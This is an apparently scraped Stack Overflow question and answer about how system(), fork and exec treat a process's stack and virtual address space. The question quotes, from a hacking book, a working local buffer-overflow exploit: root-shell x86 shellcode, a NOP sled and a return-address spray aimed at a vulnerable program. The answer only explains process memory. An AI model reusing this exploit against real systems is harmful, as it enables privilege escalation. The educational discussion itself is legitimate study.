سؤال

I have a question about the Linux system call System() and the stack. Let us suppose that we have:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
   char buff[] = "/usr/bin/ls"
   system(buff);
   return 0;
}

Now, since the system() function makes a fork() and then an execl(), my question is: the stack of the new process is placed near to the the one of the above main(), or it can be everywhere in the memory? More generally: in this trivial example, what happens to the main() stack?

Furthermore, what if the main() is:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
   char buff[] = "/usr/bin/ls"
   execl(buff, 0);
   return 0;
}

In this case, since no fork() is called, the stack of the function execl() should be regularly placed immediately above the one of the main(), right?

Edit: If the virtual address space is different between the main and the process executed by a system(), why this should work:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
  unsigned int i, *ptr, ret, offset=270;
  char *command, *buffer;
  command = (char *) malloc(200);
  bzero(command, 200); // Zero out the new memory.

  strcpy(command, "./notesearch \'"); // Start command buffer.
  buffer = command + strlen(command); // Set buffer at the end.

  if(argc > 1) // Set offset.
     offset = atoi(argv[1]);

  ret = (unsigned int) &i - offset; // Set return address.

  for(i=0; i < 160; i+=4) // Fill buffer with return address.
     *((unsigned int *)(buffer+i)) = ret;

  memset(buffer, 0x90, 60); // Build NOP sled.
  memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

  strcat(command, "\'");

  system(command); // Run exploit.
  free(command);
}

I found it on a book that I'm reading about the hacking. This piece of code merely is an exploit of a buffer overflow. It's purpose is to run a program bof vulnerable with an ad-hoc argument which is able to exploit the bof, and to run the shellcode.

The address of the shellcode injected in the new process, is obtained using the address of a local variable (unisgned int i in the example) as base, and an offset. But this should work ONLY if the virtual address space of the two processes is the same right?

هل كانت مفيدة؟

المحلول

When you use exec, all the memory of the process is replaced. The stack, the heap, everything. The original stack that contained buff no longer exists.

A system call consists of a fork and an exec. A fork creates a new process which is a copy of the original. The exec then replaces the memory of the new process.

When an exec is used, a new process address space is created. This address space is assembled from various free blocks of memory that are managed by the kernel. This is a new virtual address space. The relationship of the physical memory of the new process to the old process is just whatever the kernel decides. But since the new address space is virtual, it has no relation to the parent process's address space. Even if you knew the address of buff in the parent process and could pass that address to the child process, this address would have no meaning to the child process.

مرخصة بموجب: CC-BY-SA مع الإسناد
لا تنتمي إلى StackOverflow
scroll top